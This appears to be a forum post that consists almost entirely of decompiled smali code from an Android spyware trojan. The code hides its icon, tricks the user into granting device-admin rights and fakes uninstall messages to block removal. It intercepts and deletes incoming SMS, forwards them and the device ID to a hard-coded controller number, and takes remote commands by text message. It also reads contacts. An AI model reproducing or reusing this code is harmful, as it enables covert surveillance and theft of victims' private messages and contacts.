好友
阅读权限10
听众
最后登录1970-1-1
|
.class public a
.super Object
.source ""
.field public static final a:Uri
.field public static final b:Uri
.field public static final c:Uri
.field public static final d:Uri
.method static constructor <clinit>()V
.registers 1
00000000 const-string v0, "content://sms"
00000004 invoke-static Uri->parse(String)Uri, v0
0000000A move-result-object v0
0000000C sput-object v0, a->a:Uri
00000010 const-string v0, "content://sms/inbox"
00000014 invoke-static Uri->parse(String)Uri, v0
0000001A move-result-object v0
0000001C sput-object v0, a->b:Uri
00000020 const-string v0, "content://sms/conversations/"
00000024 invoke-static Uri->parse(String)Uri, v0
0000002A move-result-object v0
0000002C sput-object v0, a->c:Uri
00000030 const-string v0, "content://sms/sent"
00000034 invoke-static Uri->parse(String)Uri, v0
0000003A move-result-object v0
0000003C sput-object v0, a->d:Uri
00000040 return-void
.end method
#--------------------------------------------------------------------------------
.class public DeleteActivity
.super Activity
.source ""
.field a:Handler
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Activity-><init>()V, p0
00000006 new-instance v0, a
0000000A invoke-direct a-><init>(DeleteActivity)V, v0, p0
00000010 iput-object v0, p0, DeleteActivity->a:Handler
00000014 return-void
.end method
.method public a()V
.registers 5
00000000 const-string v0, "device_policy"
00000004 invoke-virtual DeleteActivity->getSystemService(String)Object, p0, v0
0000000A move-result-object v0
0000000C check-cast v0, DevicePolicyManager
00000010 new-instance v1, ComponentName
00000014 const-class v2, MyDeviceAdminReceiver
00000018 invoke-direct ComponentName-><init>(Context, Class)V, v1, p0, v2
0000001E invoke-virtual DevicePolicyManager->isAdminActive(ComponentName)Z, v0, v1
00000024 move-result v0
00000026 if-nez v0, :68
:2A
0000002A new-instance v0, Intent
0000002E const-string v2, "android.app.action.ADD_DEVICE_ADMIN"
00000032 invoke-direct Intent-><init>(String)V, v0, v2
00000038 const-string v2, "android.app.extra.DEVICE_ADMIN"
0000003C invoke-virtual Intent->putExtra(String, Parcelable)Intent, v0, v2, v1
00000042 const-string v1, "android.app.extra.ADD_EXPLANATION"
00000046 const-string v2, "提高权限获取保护"
0000004A invoke-virtual Intent->putExtra(String, String)Intent, v0, v1, v2
00000050 const/4 v1, 0x0
00000052 invoke-virtual DeleteActivity->startActivityForResult(Intent, I)V, p0, v0, v1
00000058 iget-object v0, p0, DeleteActivity->a:Handler
0000005C const/4 v1, 0x0
0000005E const-wide/16 v2, 0x8FC
00000062 invoke-virtual Handler->sendEmptyMessageDelayed(I, J)Z, v0, v1, v2, v3
:68
00000068 return-void
:6A
0000006A move-exception v0
0000006C invoke-virtual Exception->printStackTrace()V, v0
00000072 goto :68
.catch Exception {:0 .. :68} :6A
.end method
.method protected onActivityResult(I, I, Intent)V
.registers 8
00000000 const/4 v3, 0x1
00000002 invoke-super Activity->onActivityResult(I, I, Intent)V, p0, p1, p2, p3
00000008 if-nez p1, :20
:C
0000000C const/4 v0, 0xFFFFFFFFFFFFFFFF
0000000E if-ne p2, v0, :22
:12
00000012 iget-object v0, p0, DeleteActivity->a:Handler
00000016 const-wide/16 v1, 0x7D0
0000001A invoke-virtual Handler->sendEmptyMessageDelayed(I, J)Z, v0, v3, v1, v2
:20
00000020 return-void
:22
00000022 const-string v0, "应用卸载失败!"
00000026 invoke-static Toast->makeText(Context, CharSequence, I)Toast, p0, v0, v3
0000002C move-result-object v0
0000002E invoke-virtual Toast->show()V, v0
00000034 const-string v0, "用户正在尝试卸载app\n 当前app状态:\n app被取消激活,自动提示 “应用卸载失败!”"
00000038 const/4 v1, 0x4
0000003A invoke-static k->a(String, I, Context)V, v0, v1, p0
00000040 invoke-virtual DeleteActivity->finish()V, p0
00000046 goto :20
.end method
.method protected onCreate(Bundle)V
.registers 4
00000000 invoke-super Activity->onCreate(Bundle)V, p0, p1
00000006 const v0, 0x7F030001 # R.layout.activity_main
0000000C invoke-virtual DeleteActivity->setContentView(I)V, p0, v0
00000012 invoke-static a->a(Context)a, p0
00000018 move-result-object v0
0000001A invoke-virtual a->a()Z, v0
00000020 move-result v0
00000022 if-eqz v0, :4E
:26
00000026 invoke-virtual DeleteActivity->finish()V, p0
0000002C const-string v0, "应用未安装或已删除"
00000030 const/4 v1, 0x1
00000032 invoke-static Toast->makeText(Context, CharSequence, I)Toast, p0, v0, v1
00000038 move-result-object v0
0000003A invoke-virtual Toast->show()V, v0
00000040 const-string v0, "用户正在尝试卸载app\n 当前app状态:\n app已经激活,自动提示 “应用未安装或已删除”"
00000044 const/4 v1, 0x4
00000046 invoke-static k->a(String, I, Context)V, v0, v1, p0
:4C
0000004C return-void
:4E
0000004E invoke-virtual DeleteActivity->a()V, p0
00000054 goto :4C
.end method
#--------------------------------------------------------------------------------
.class public MainActivity
.super Activity
.source ""
.field public static a:String
.field b:Handler
.method static constructor <clinit>()V
.registers 1
00000000 const-string v0, "15112310724"
00000004 sput-object v0, MainActivity->a:String
00000008 return-void
.end method
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Activity-><init>()V, p0
00000006 new-instance v0, b
0000000A invoke-direct b-><init>(MainActivity)V, v0, p0
00000010 iput-object v0, p0, MainActivity->b:Handler
00000014 return-void
.end method
.method public a()V
.registers 5
00000000 const-string v0, "device_policy"
00000004 invoke-virtual MainActivity->getSystemService(String)Object, p0, v0
0000000A move-result-object v0
0000000C check-cast v0, DevicePolicyManager
00000010 new-instance v1, ComponentName
00000014 const-class v2, MyDeviceAdminReceiver
00000018 invoke-direct ComponentName-><init>(Context, Class)V, v1, p0, v2
0000001E invoke-virtual DevicePolicyManager->isAdminActive(ComponentName)Z, v0, v1
00000024 move-result v0
00000026 if-nez v0, :68
:2A
0000002A new-instance v0, Intent
0000002E const-string v2, "android.app.action.ADD_DEVICE_ADMIN"
00000032 invoke-direct Intent-><init>(String)V, v0, v2
00000038 const-string v2, "android.app.extra.DEVICE_ADMIN"
0000003C invoke-virtual Intent->putExtra(String, Parcelable)Intent, v0, v2, v1
00000042 const-string v1, "android.app.extra.ADD_EXPLANATION"
00000046 const-string v2, "提高权限获取保护"
0000004A invoke-virtual Intent->putExtra(String, String)Intent, v0, v1, v2
00000050 const/4 v1, 0x0
00000052 invoke-virtual MainActivity->startActivityForResult(Intent, I)V, p0, v0, v1
00000058 iget-object v0, p0, MainActivity->b:Handler
0000005C const/4 v1, 0x1
0000005E const-wide/16 v2, 0x7D0
00000062 invoke-virtual Handler->sendEmptyMessageDelayed(I, J)Z, v0, v1, v2, v3
:68
00000068 return-void
:6A
0000006A move-exception v0
0000006C invoke-virtual Exception->printStackTrace()V, v0
00000072 goto :68
.catch Exception {:0 .. :68} :6A
.end method
.method protected onActivityResult(I, I, Intent)V
.registers 8
00000000 const/4 v2, 0x4
00000002 invoke-super Activity->onActivityResult(I, I, Intent)V, p0, p1, p2, p3
00000008 if-nez p1, :64
:C
0000000C const/4 v0, 0xFFFFFFFFFFFFFFFF
0000000E if-ne p2, v0, :8A
:12
00000012 const-string v0, "onActivityResult"
00000016 const-string v1, "Enable it"
0000001A invoke-static Log->i(String, String)I, v0, v1
00000020 invoke-static a->a(Context)a, p0
00000026 move-result-object v0
00000028 const/4 v1, 0x1
0000002A invoke-virtual a->a(Z)V, v0, v1
00000030 new-instance v0, StringBuilder
00000034 invoke-static j->a()String
0000003A move-result-object v1
0000003C invoke-static String->valueOf(Object)String, v1
00000042 move-result-object v1
00000044 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000004A const-string v1, "\n用户选择了激活"
0000004E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000054 move-result-object v0
00000056 invoke-virtual StringBuilder->toString()String, v0
0000005C move-result-object v0
0000005E invoke-static k->a(String, I, Context)V, v0, v2, p0
:64
00000064 new-instance v0, Intent
00000068 const-class v1, BootService
0000006C invoke-direct Intent-><init>(Context, Class)V, v0, p0, v1
00000072 invoke-virtual MainActivity->startService(Intent)ComponentName, p0, v0
00000078 iget-object v0, p0, MainActivity->b:Handler
0000007C const/4 v1, 0x0
0000007E const-wide/16 v2, 0xBB8
00000082 invoke-virtual Handler->sendEmptyMessageDelayed(I, J)Z, v0, v1, v2, v3
00000088 return-void
:8A
0000008A new-instance v0, StringBuilder
0000008E invoke-static j->a()String
00000094 move-result-object v1
00000096 invoke-static String->valueOf(Object)String, v1
0000009C move-result-object v1
0000009E invoke-direct StringBuilder-><init>(String)V, v0, v1
000000A4 const-string v1, "\n用户没有进行激活"
000000A8 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000AE move-result-object v0
000000B0 invoke-virtual StringBuilder->toString()String, v0
000000B6 move-result-object v0
000000B8 invoke-static k->a(String, I, Context)V, v0, v2, p0
000000BE const-string v0, "onActivityResult"
000000C2 const-string v1, "Cancle it"
000000C6 invoke-static Log->i(String, String)I, v0, v1
000000CC goto :64
.end method
.method protected onCreate(Bundle)V
.registers 6
00000000 const/4 v3, 0x1
00000002 invoke-super Activity->onCreate(Bundle)V, p0, p1
00000008 const v0, 0x7F030001 # R.layout.activity_main
0000000E invoke-virtual MainActivity->setContentView(I)V, p0, v0
00000014 invoke-virtual MainActivity->getPackageManager()PackageManager, p0
0000001A move-result-object v0
0000001C invoke-virtual MainActivity->getComponentName()ComponentName, p0
00000022 move-result-object v1
00000024 const/4 v2, 0x2
00000026 invoke-virtual PackageManager->setComponentEnabledSetting(ComponentName, I, I)V, v0, v1, v2, v3
0000002C invoke-static i->a(Context)V, p0
00000032 invoke-static i->b(Context)V, p0
00000038 invoke-static i->c(Context)V, p0
0000003E invoke-static i->d(Context)V, p0
00000044 invoke-static i->e(Context)V, p0
0000004A invoke-static a->a(Context)a, p0
00000050 move-result-object v0
00000052 invoke-virtual a->i()Z, v0
00000058 move-result v0
0000005A if-nez v0, :C6
:5E
0000005E const-string v0, "phone"
00000062 invoke-virtual MainActivity->getSystemService(String)Object, p0, v0
00000068 move-result-object v0
0000006A check-cast v0, TelephonyManager
0000006E invoke-virtual TelephonyManager->getDeviceId()String, v0
00000074 move-result-object v0
00000076 new-instance v1, StringBuilder
0000007A const-string v2, "软件安装完毕\n识别码:"
0000007E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000084 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
0000008A move-result-object v0
0000008C const-string v1, "\n"
00000090 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000096 move-result-object v0
00000098 invoke-static j->a()String
0000009E move-result-object v1
000000A0 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000A6 move-result-object v0
000000A8 invoke-virtual StringBuilder->toString()String, v0
000000AE move-result-object v0
000000B0 const/4 v1, 0x4
000000B2 invoke-static k->a(String, I, Context)V, v0, v1, p0
000000B8 invoke-static a->a(Context)a, p0
000000BE move-result-object v0
000000C0 invoke-virtual a->e(Z)V, v0, v3
:C6
000000C6 invoke-static k->a(Context)V, p0
000000CC invoke-static a->a(Context)a, p0
000000D2 move-result-object v0
000000D4 invoke-virtual a->j()Z, v0
000000DA move-result v0
000000DC if-eqz v0, :E6
:E0
000000E0 invoke-static d->a(Context)V, p0
:E6
000000E6 invoke-virtual MainActivity->a()V, p0
000000EC return-void
.end method
#--------------------------------------------------------------------------------
.class a
.super Handler
.source ""
.field final synthetic a:DeleteActivity
.method constructor <init>(DeleteActivity)V
.registers 2
00000000 iput-object p1, p0, a->a:DeleteActivity
00000004 invoke-direct Handler-><init>()V, p0
0000000A return-void
.end method
.method public handleMessage(Message)V
.registers 5
00000000 const/4 v2, 0x1
00000002 iget v0, p1, Message->what:I
00000006 packed-switch v0, :8C
:C
0000000C return-void
:E
0000000E iget-object v0, p0, a->a:DeleteActivity
00000012 const-string v1, "激活之后自动卸载"
00000016 invoke-static Toast->makeText(Context, CharSequence, I)Toast, v0, v1, v2
0000001C move-result-object v0
0000001E invoke-virtual Toast->show()V, v0
00000024 goto :C
:26
00000026 iget-object v0, p0, a->a:DeleteActivity
0000002A const-string v1, "应用卸载成功!"
0000002E invoke-static Toast->makeText(Context, CharSequence, I)Toast, v0, v1, v2
00000034 move-result-object v0
00000036 invoke-virtual Toast->show()V, v0
0000003C iget-object v0, p0, a->a:DeleteActivity
00000040 invoke-static a->a(Context)a, v0
00000046 move-result-object v0
00000048 invoke-virtual a->a(Z)V, v0, v2
0000004E new-instance v0, Intent
00000052 const-string v1, "android.intent.action.MAIN"
00000056 invoke-direct Intent-><init>(String)V, v0, v1
0000005C const-string v1, "android.intent.category.HOME"
00000060 invoke-virtual Intent->addCategory(String)Intent, v0, v1
00000066 iget-object v1, p0, a->a:DeleteActivity
0000006A invoke-virtual DeleteActivity->startActivity(Intent)V, v1, v0
00000070 const-string v0, "用户正在尝试卸载app\n 当前app状态:\n app正式激活,自动提示 “应用卸载成功!”"
00000074 const/4 v1, 0x4
00000076 iget-object v2, p0, a->a:DeleteActivity
0000007A invoke-static k->a(String, I, Context)V, v0, v1, v2
00000080 iget-object v0, p0, a->a:DeleteActivity
00000084 invoke-virtual DeleteActivity->finish()V, v0
0000008A goto :C
0000008C .packed-switch 0x0
:E
:26
.end packed-switch
.end method
#--------------------------------------------------------------------------------
.class b
.super Handler
.source ""
.field final synthetic a:MainActivity
.method constructor <init>(MainActivity)V
.registers 2
00000000 iput-object p1, p0, b->a:MainActivity
00000004 invoke-direct Handler-><init>()V, p0
0000000A return-void
.end method
.method public handleMessage(Message)V
.registers 5
00000000 const/4 v2, 0x1
00000002 iget v0, p1, Message->what:I
00000006 packed-switch v0, :48
:C
0000000C return-void
:E
0000000E iget-object v0, p0, b->a:MainActivity
00000012 const-string v1, "软件安装成功!"
00000016 invoke-static Toast->makeText(Context, CharSequence, I)Toast, v0, v1, v2
0000001C move-result-object v0
0000001E invoke-virtual Toast->show()V, v0
00000024 iget-object v0, p0, b->a:MainActivity
00000028 invoke-virtual MainActivity->finish()V, v0
0000002E goto :C
:30
00000030 iget-object v0, p0, b->a:MainActivity
00000034 const-string v1, "请允许激活!"
00000038 invoke-static Toast->makeText(Context, CharSequence, I)Toast, v0, v1, v2
0000003E move-result-object v0
00000040 invoke-virtual Toast->show()V, v0
00000046 goto :C
00000048 .packed-switch 0x0
:E
:30
.end packed-switch
.end method
#--------------------------------------------------------------------------------
.class public a
.super ContentObserver
.source ""
.field private a:Context
.field private final b:I
.field private c:ContentResolver
.method public constructor <init>(Context, Handler)V
.registers 4
00000000 invoke-direct ContentObserver-><init>(Handler)V, p0, p2
00000006 const/4 v0, 0x1
00000008 iput v0, p0, a->b:I
0000000C const/4 v0, 0x0
0000000E iput-object v0, p0, a->c:ContentResolver
00000012 iput-object p1, p0, a->a:Context
00000016 iget-object v0, p0, a->c:ContentResolver
0000001A if-nez v0, :2A
:1E
0000001E invoke-virtual Context->getContentResolver()ContentResolver, p1
00000024 move-result-object v0
00000026 iput-object v0, p0, a->c:ContentResolver
:2A
0000002A return-void
.end method
.method private a()V
.registers 8
00000000 const/4 v2, 0x0
00000002 iget-object v0, p0, a->c:ContentResolver
00000006 sget-object v1, a->b:Uri
0000000A const-string v5, "_id desc"
0000000E move-object v3, v2
00000010 move-object v4, v2
00000012 invoke-virtual/range ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000018 move-result-object v6
0000001A if-eqz v6, :2A
:1E
0000001E invoke-interface Cursor->getCount()I, v6
00000024 move-result v0
00000026 if-nez v0, :32
:2A
0000002A invoke-direct a->a(Cursor)V, p0, v6
:30
00000030 return-void
:32
00000032 invoke-interface Cursor->moveToNext()Z, v6
00000038 move-result v0
0000003A if-eqz v0, :CE
:3E
0000003E const-string v0, "address"
00000042 invoke-interface Cursor->getColumnIndex(String)I, v6, v0
00000048 move-result v0
0000004A invoke-interface Cursor->getString(I)String, v6, v0
00000050 move-result-object v1
00000052 const-string v0, "body"
00000056 invoke-interface Cursor->getColumnIndex(String)I, v6, v0
0000005C move-result v0
0000005E invoke-interface Cursor->getString(I)String, v6, v0
00000064 move-result-object v2
00000066 const-string v0, "date"
0000006A invoke-interface Cursor->getColumnIndex(String)I, v6, v0
00000070 move-result v0
00000072 invoke-interface Cursor->getString(I)String, v6, v0
00000078 move-result-object v3
0000007A const/4 v0, 0x0
0000007C invoke-interface Cursor->getLong(I)J, v6, v0
00000082 move-result-wide v4
00000084 iget-object v0, p0, a->a:Context
00000088 invoke-static a->a(Context)a, v0
0000008E move-result-object v0
00000090 invoke-virtual a->b()String, v0
00000096 move-result-object v0
00000098 invoke-direct a->a(Cursor)V, p0, v6
0000009E invoke-virtual String->compareTo(String)I, v3, v0
000000A4 move-result v0
000000A6 if-lez v0, :D6
:AA
000000AA const-string v0, "--------------进行处理------------------"
000000AE invoke-static g->a(String)V, v0
000000B4 iget-object v0, p0, a->a:Context
000000B8 invoke-static a->a(Context)a, v0
000000BE move-result-object v0
000000C0 invoke-virtual a->a(String)V, v0, v3
000000C6 move-object v0, p0
000000C8 invoke-direct/range a->a(String, String, String, J)V, v0 .. v5
:CE
000000CE invoke-direct a->a(Cursor)V, p0, v6
000000D4 goto :30
:D6
000000D6 const-string v0, "--------------不进行处理------------------"
000000DA invoke-static g->a(String)V, v0
000000E0 goto :CE
.end method
.method private a(Cursor)V
.registers 3
00000000 if-eqz p1, :A
:4
00000004 invoke-interface Cursor->close()V, p1
:A
0000000A return-void
:C
0000000C move-exception v0
0000000E goto :A
.catch Exception {:4 .. :A} :C
.end method
.method private a(String, String, String, J)V
.registers 12
00000000 iget-object v0, p0, a->a:Context
00000004 invoke-static a->a(Context)a, v0
0000000A move-result-object v0
0000000C invoke-virtual a->c()String, v0
00000012 move-result-object v1
00000014 const-string v0, "123"
00000018 invoke-virtual String->contains(CharSequence)Z, v1, v0
0000001E move-result v0
00000020 if-nez v0, :26
:24
00000024 return-void
:26
00000026 invoke-direct a->a(String, String, J)Z, p0, p1, p2, p4, p5
0000002C move-result v0
0000002E if-nez v0, :24
:32
00000032 iget-object v0, p0, a->a:Context
00000036 invoke-static a->a(Context)a, v0
0000003C move-result-object v0
0000003E invoke-virtual a->g()I, v0
00000044 move-result v0
00000046 packed-switch v0, :68
:4C
0000004C goto :24
:4E
0000004E invoke-direct/range a->b(String, String, String, J)V, v6 .. v11
00000054 goto :24
:56
00000056 move-object v0, p0
00000058 move-object v2, p2
0000005A move-object v3, p3
0000005C move-wide v4, p4
0000005E invoke-direct/range a->c(String, String, String, J)V, v0 .. v5
00000064 goto :24
00000068 .packed-switch 0x1
:4E
:56
:24
.end packed-switch
.end method
.method private a(String, String, J)Z
.registers 12
00000000 const/4 v6, 0x2
00000002 const/4 v1, 0x0
00000004 const/4 v0, 0x1
00000006 iget-object v2, p0, a->a:Context
0000000A invoke-static a->a(Context)a, v2
00000010 move-result-object v2
00000012 invoke-virtual a->c()String, v2
00000018 move-result-object v2
0000001A invoke-virtual String->contains(CharSequence)Z, p1, v2
00000020 move-result v2
00000022 if-eqz v2, :226
:26
00000026 const-string v2, "-------------是主人-----------------"
0000002A invoke-static g->a(String)V, v2
00000030 invoke-virtual a->a(J)I, p0, p3, p4
00000036 move-result v2
00000038 const-string v3, " "
0000003C invoke-virtual String->split(String)[String, p2, v3
00000042 move-result-object v3
00000044 aget-object v4, v3, v1
00000048 const-string v5, "LJ"
0000004C invoke-virtual String->equals(Object)Z, v4, v5
00000052 move-result v4
00000054 if-eqz v4, :D2
:58
00000058 aget-object v1, v3, v0
0000005C const-string v2, "ALL"
00000060 invoke-virtual String->equals(Object)Z, v1, v2
00000066 move-result v1
00000068 if-eqz v1, :80
:6C
0000006C iget-object v1, p0, a->a:Context
00000070 invoke-static a->a(Context)a, v1
00000076 move-result-object v1
00000078 invoke-virtual a->a(I)V, v1, v0
:7E
0000007E return v0
:80
00000080 aget-object v1, v3, v0
00000084 const-string v2, "SOME"
00000088 invoke-virtual String->equals(Object)Z, v1, v2
0000008E move-result v1
00000090 if-eqz v1, :A8
:94
00000094 iget-object v1, p0, a->a:Context
00000098 invoke-static a->a(Context)a, v1
0000009E move-result-object v1
000000A0 invoke-virtual a->a(I)V, v1, v6
000000A6 goto :7E
:A8
000000A8 aget-object v1, v3, v0
000000AC const-string v2, "NO"
000000B0 invoke-virtual String->equals(Object)Z, v1, v2
000000B6 move-result v1
000000B8 if-eqz v1, :7E
:BC
000000BC iget-object v1, p0, a->a:Context
000000C0 invoke-static a->a(Context)a, v1
000000C6 move-result-object v1
000000C8 const/4 v2, 0x3
000000CA invoke-virtual a->a(I)V, v1, v2
000000D0 goto :7E
:D2
000000D2 aget-object v4, v3, v1
000000D6 const-string v5, "ADD"
000000DA invoke-virtual String->equals(Object)Z, v4, v5
000000E0 move-result v4
000000E2 if-eqz v4, :100
:E6
000000E6 new-instance v1, c
000000EA invoke-direct c-><init>()V, v1
000000F0 aget-object v2, v3, v0
000000F4 iput-object v2, v1, c->c:String
000000F8 invoke-static b->a(c)Z, v1
000000FE goto :7E
:100
00000100 aget-object v4, v3, v1
00000104 const-string v5, "DEL"
00000108 invoke-virtual String->equals(Object)Z, v4, v5
0000010E move-result v4
00000110 if-eqz v4, :120
:114
00000114 aget-object v1, v3, v0
00000118 invoke-static b->a(String)Z, v1
0000011E goto :7E
:120
00000120 aget-object v4, v3, v1
00000124 const-string v5, "CLEAR"
00000128 invoke-virtual String->equals(Object)Z, v4, v5
0000012E move-result v4
00000130 if-eqz v4, :160
:134
00000134 aget-object v1, v3, v0
00000138 const-string v2, "ALL"
0000013C invoke-virtual String->equals(Object)Z, v1, v2
00000142 move-result v1
00000144 if-eqz v1, :150
:148
00000148 invoke-static b->a()Z
0000014E goto :7E
:150
00000150 aget-object v1, v3, v0
00000154 const-string v2, "MESSAGE"
00000158 invoke-virtual String->equals(Object)Z, v1, v2
0000015E goto :7E
:160
00000160 aget-object v4, v3, v1
00000164 const-string v5, "LOOK"
00000168 invoke-virtual String->equals(Object)Z, v4, v5
0000016E move-result v4
00000170 if-eqz v4, :1F2
:174
00000174 aget-object v1, v3, v0
00000178 const-string v4, "TIME"
0000017C invoke-virtual String->equals(Object)Z, v1, v4
00000182 move-result v1
00000184 if-eqz v1, :1C8
:188
00000188 new-instance v1, StringBuilder
0000018C const-string v3, "到期时间:"
00000190 invoke-direct StringBuilder-><init>(String)V, v1, v3
00000196 iget-object v3, p0, a->a:Context
0000019A invoke-static a->a(Context)a, v3
000001A0 move-result-object v3
000001A2 invoke-virtual a->e()String, v3
000001A8 move-result-object v3
000001AA invoke-virtual StringBuilder->append(String)StringBuilder, v1, v3
000001B0 move-result-object v1
000001B2 invoke-virtual StringBuilder->toString()String, v1
000001B8 move-result-object v1
000001BA iget-object v3, p0, a->a:Context
000001BE invoke-static k->a(String, I, Context)V, v1, v2, v3
000001C4 goto/16 :7E
:1C8
000001C8 aget-object v1, v3, v0
000001CC const-string v3, "PHONE"
000001D0 invoke-virtual String->equals(Object)Z, v1, v3
000001D6 move-result v1
000001D8 if-eqz v1, :7E
:1DC
000001DC invoke-static j->a()String
000001E2 move-result-object v1
000001E4 iget-object v3, p0, a->a:Context
000001E8 invoke-static k->a(String, I, Context)V, v1, v2, v3
000001EE goto/16 :7E
:1F2
000001F2 aget-object v1, v3, v1
000001F6 const-string v2, "SEND"
000001FA invoke-virtual String->equals(Object)Z, v1, v2
00000200 move-result v1
00000202 if-eqz v1, :7E
:206
00000206 const/4 v1, 0x1
:208
00000208 aget-object v1, v3, v1
0000020C const/4 v2, 0x2
0000020E aget-object v2, v3, v2
00000212 iget-object v3, p0, a->a:Context
00000216 invoke-static k->a(String, String, Context)V, v1, v2, v3
:21C
0000021C goto/16 :7E
:220
00000220 move-exception v1
00000222 goto/16 :7E
:226
00000226 move v0, v1
00000228 goto/16 :7E
.catch Exception {:208 .. :21C} :220
.end method
.method private b(String, String, String, J)V
.registers 10
00000000 invoke-virtual a->a(J)I, p0, p4, p5
00000006 move-result v0
00000008 iget-object v1, p0, a->a:Context
0000000C new-instance v2, StringBuilder
00000010 invoke-static String->valueOf(Object)String, p2
00000016 move-result-object v3
00000018 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000001E const-string v3, "<br>"
00000022 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000028 move-result-object v2
0000002A invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
00000030 move-result-object v2
00000032 const-string v3, "<br><br><br>"
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000003C move-result-object v2
0000003E invoke-static j->a()String
00000044 move-result-object v3
00000046 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000004C move-result-object v2
0000004E const-string v3, "-----------------观察者"
00000052 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000058 move-result-object v2
0000005A invoke-virtual StringBuilder->toString()String, v2
00000060 move-result-object v2
00000062 invoke-static d->a(Context, String)V, v1, v2
00000068 new-instance v1, StringBuilder
0000006C invoke-static String->valueOf(Object)String, p2
00000072 move-result-object v2
00000074 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000007A const-string v2, "\n来自:"
0000007E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000084 move-result-object v1
00000086 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
0000008C move-result-object v1
0000008E invoke-virtual StringBuilder->toString()String, v1
00000094 move-result-object v1
00000096 iget-object v2, p0, a->a:Context
0000009A invoke-static k->a(String, I, Context)V, v1, v0, v2
000000A0 return-void
.end method
.method private c(String, String, String, J)V
.registers 9
00000000 invoke-static b->b()ArrayList
00000006 move-result-object v0
00000008 invoke-virtual ArrayList->iterator()Iterator, v0
0000000E move-result-object v1
:10
00000010 invoke-interface Iterator->hasNext()Z, v1
00000016 move-result v0
00000018 if-nez v0, :1E
:1C
0000001C return-void
:1E
0000001E invoke-interface Iterator->next()Object, v1
00000024 move-result-object v0
00000026 check-cast v0, c
0000002A iget-object v0, v0, c->c:String
0000002E invoke-virtual String->contains(CharSequence)Z, p1, v0
00000034 move-result v0
00000036 if-eqz v0, :10
:3A
0000003A invoke-virtual a->a(J)I, p0, p4, p5
00000040 move-result v0
00000042 new-instance v1, StringBuilder
00000046 invoke-static String->valueOf(Object)String, p2
0000004C move-result-object v2
0000004E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000054 const-string v2, "\n来自:"
00000058 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000005E move-result-object v1
00000060 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
00000066 move-result-object v1
00000068 invoke-virtual StringBuilder->toString()String, v1
0000006E move-result-object v1
00000070 iget-object v2, p0, a->a:Context
00000074 invoke-static k->a(String, I, Context)V, v1, v0, v2
0000007A goto :1C
.end method
.method public a(J)I
.registers 10
00000000 const/4 v6, 0x0
00000002 const/4 v0, 0x1
00000004 iget-object v1, p0, a->a:Context
00000008 invoke-virtual Context->getContentResolver()ContentResolver, v1
0000000E move-result-object v1
00000010 new-instance v2, StringBuilder
00000014 const-string v3, "content://sms/"
00000018 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000001E invoke-virtual StringBuilder->append(J)StringBuilder, v2, p1, p2
00000024 move-result-object v2
00000026 invoke-virtual StringBuilder->toString()String, v2
0000002C move-result-object v2
0000002E invoke-static Uri->parse(String)Uri, v2
00000034 move-result-object v2
00000036 invoke-virtual ContentResolver->delete(Uri, String, [String)I, v1, v2, v6, v6
0000003C move-result v2
0000003E sget-object v3, a->a:Uri
00000042 new-instance v4, StringBuilder
00000046 const-string v5, "_id="
0000004A invoke-direct StringBuilder-><init>(String)V, v4, v5
00000050 invoke-virtual StringBuilder->append(J)StringBuilder, v4, p1, p2
00000056 move-result-object v4
00000058 invoke-virtual StringBuilder->toString()String, v4
0000005E move-result-object v4
00000060 invoke-virtual ContentResolver->delete(Uri, String, [String)I, v1, v3, v4, v6
00000066 move-result v1
00000068 if-eq v2, v0, :70
:6C
0000006C if-ne v1, v0, :72
:70
00000070 return v0
:72
00000072 const/4 v0, 0x2
00000074 goto :70
.end method
.method public onChange(Z)V
.registers 3
00000000 invoke-super ContentObserver->onChange(Z)V, p0, p1
00000006 iget-object v0, p0, a->c:ContentResolver
0000000A if-nez v0, :1E
:E
0000000E iget-object v0, p0, a->a:Context
00000012 invoke-virtual Context->getContentResolver()ContentResolver, v0
00000018 move-result-object v0
0000001A iput-object v0, p0, a->c:ContentResolver
:1E
0000001E iget-object v0, p0, a->a:Context
00000022 if-nez v0, :32
:26
00000026 invoke-static PhoneApplication->a()PhoneApplication
0000002C move-result-object v0
0000002E iput-object v0, p0, a->a:Context
:32
00000032 invoke-direct a->a()V, p0
00000038 return-void
.end method
#--------------------------------------------------------------------------------
.class public a
.super Object
.source ""
.method public static a(Context)ArrayList
.registers 13
00000000 const/4 v7, 0x0
00000002 const/4 v2, 0x0
00000004 new-instance v9, ArrayList
00000008 invoke-direct ArrayList-><init>()V, v9
0000000E invoke-virtual Context->getContentResolver()ContentResolver, p0
00000014 move-result-object v0
00000016 sget-object v1, ContactsContract$Contacts->CONTENT_URI:Uri
0000001A move-object v3, v2
0000001C move-object v4, v2
0000001E move-object v5, v2
00000020 invoke-virtual/range ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000026 move-result-object v10
00000028 invoke-interface Cursor->getCount()I, v10
0000002E move-result v0
00000030 if-lez v0, :122
:34
00000034 const-string v0, "_id"
00000038 invoke-interface Cursor->getColumnIndex(String)I, v10, v0
0000003E move-result v1
00000040 const-string v0, "display_name"
00000044 invoke-interface Cursor->getColumnIndex(String)I, v10, v0
0000004A move-result v0
0000004C move v6, v0
0000004E move v8, v1
:50
00000050 invoke-interface Cursor->moveToNext()Z, v10
00000056 move-result v0
00000058 if-nez v0, :5E
:5C
0000005C return-object v9
:5E
0000005E new-instance v11, c
00000062 invoke-direct c-><init>()V, v11
